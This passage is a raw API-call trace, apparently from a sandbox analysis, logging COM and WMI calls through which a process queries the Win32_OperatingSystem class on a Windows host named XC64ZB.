pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0265.605] IUnknown:Release (This=0x1d35bfa8) returned 0x1 [0265.605] IUnknown:QueryInterface (in: This=0x1d35bfa0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b3516c8) returned 0x0 [0265.606] IUnknown:QueryInterface (in: This=0x1d35bfa0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35bfa8) returned 0x0 [0265.606] IClientSecurity:SetBlanket (This=0x1d35bfa8, pProxy=0x1d35bfa0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0265.619] IUnknown:Release (This=0x1d35bfa8) returned 0x2 [0265.619] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0265.619] CoTaskMemFree (pv=0x1d4721c0) [0265.619] IUnknown:QueryInterface (in: This=0x1d35bfa0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b3516c8) returned 0x0 [0265.619] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0265.620] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0265.620] IUnknown:QueryInterface (in: This=0x1d35bfa0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0265.621] WbemLocator:IUnknown:AddRef (This=0x1b3516c8) returned 0x3 [0265.621] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0265.621] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0265.621] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b3515a8) returned 0x0 [0265.621] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3515a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.621] WbemLocator:IUnknown:Release (This=0x1b3515a8) returned 0x3 [0265.621] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0265.621] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0265.621] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351690) returned 0x0 [0265.621] WbemLocator:IRpcOptions:Query (in: This=0x1b351690, pPrx=0x1b3516c8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0265.621] WbemLocator:IUnknown:Release (This=0x1b351690) returned 0x3 [0265.621] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x2 [0265.621] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0265.621] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0265.621] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35bfa0) returned 0x0 [0265.622] IUnknown:AddRef (This=0x1d35bfa0) returned 0x4 [0265.622] IUnknown:Release (This=0x1d35bfa0) returned 0x3 [0265.622] IUnknown:Release (This=0x1d35bfa0) returned 0x2 [0265.622] WbemLocator:IUnknown:Release (This=0x1d475260) returned 0x2 [0265.622] SysStringLen (param_1=0x0) returned 0x0 [0265.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0265.622] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0265.622] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.622] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0265.622] IUnknown:AddRef (This=0x1d35bfa0) returned 0x3 [0265.622] IEnumWbemClassObject:Clone (in: This=0x1d35bfa0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35b7c0) returned 0x0 [0265.625] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35b7c8) returned 0x0 [0265.625] IClientSecurity:QueryBlanket (in: This=0x1d35b7c8, pProxy=0x1d35b7c0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0265.625] IUnknown:Release (This=0x1d35b7c8) returned 0x1 [0265.625] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351048) returned 0x0 [0265.625] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35b7c8) returned 0x0 [0265.625] IClientSecurity:SetBlanket (This=0x1d35b7c8, pProxy=0x1d35b7c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0265.627] IUnknown:Release (This=0x1d35b7c8) returned 0x2 [0265.627] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0265.627] CoTaskMemFree (pv=0x1d471b00) [0265.627] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351048) returned 0x0 [0265.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0265.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0265.628] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0265.629] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0265.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0265.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0265.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b350f28) returned 0x0 [0265.629] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.629] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0265.629] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0265.629] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0265.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351010) returned 0x0 [0265.629] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0265.629] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0265.629] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0265.629] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0265.629] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0265.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35b7c0) returned 0x0 [0265.629] IUnknown:AddRef (This=0x1d35b7c0) returned 0x4 [0265.630] IUnknown:Release (This=0x1d35b7c0) returned 0x3 [0265.630] IUnknown:Release (This=0x1d35b7c0) returned 0x2 [0265.630] IUnknown:Release (This=0x1d35bfa0) returned 0x2 [0265.630] SysStringLen (param_1=0x0) returned 0x0 [0265.630] IEnumWbemClassObject:Reset (This=0x1d35b7c0) returned 0x0 [0265.631] CoTaskMemAlloc (cb=0x8) returned 0x5249b0 [0265.632] IEnumWbemClassObject:Next (in: This=0x1d35b7c0, lTimeout=-1, uCount=0x1, apObjects=0x5249b0, puReturned=0x29b01d0 | out: apObjects=0x5249b0*=0x1b349b20, puReturned=0x29b01d0*=0x1) returned 0x0 [0265.640] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0265.640] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0265.640] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0265.640] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0265.641] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0265.641] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0265.641] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0265.641] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0265.641] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0265.641] IUnknown:Release (This=0x1b349b28) returned 0x3 [0265.641] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0265.641] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0265.641] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0265.641] IUnknown:Release (This=0x1b349b20) returned 0x2 [0265.641] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0265.641] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0265.641] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0265.641] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0265.641] IUnknown:Release (This=0x1b349b20) returned 0x3 [0265.641] IUnknown:Release (This=0x1b349b20) returned 0x2 [0265.641] CoTaskMemFree (pv=0x5249b0) [0265.641] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0265.641] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0265.642] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0265.642] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0265.642] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0265.642] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0265.642] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0265.642] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0265.642] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0265.642] IUnknown:Release (This=0x4b0108) returned 0x1 [0265.645] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496e00) returned 0x0 [0265.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496e00, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0265.645] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496e00, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3b80) returned 0x0 [0265.645] WbemDefPath:IUnknown:Release (This=0x1d496e00) returned 0x0 [0265.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3b80) returned 0x0 [0265.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0265.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0265.646] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0265.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0265.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0265.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496e20) returned 0x0 [0265.646] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496e20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.646] WbemDefPath:IUnknown:Release (This=0x1d496e20) returned 0x3 [0265.646] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0265.646] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0265.646] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: 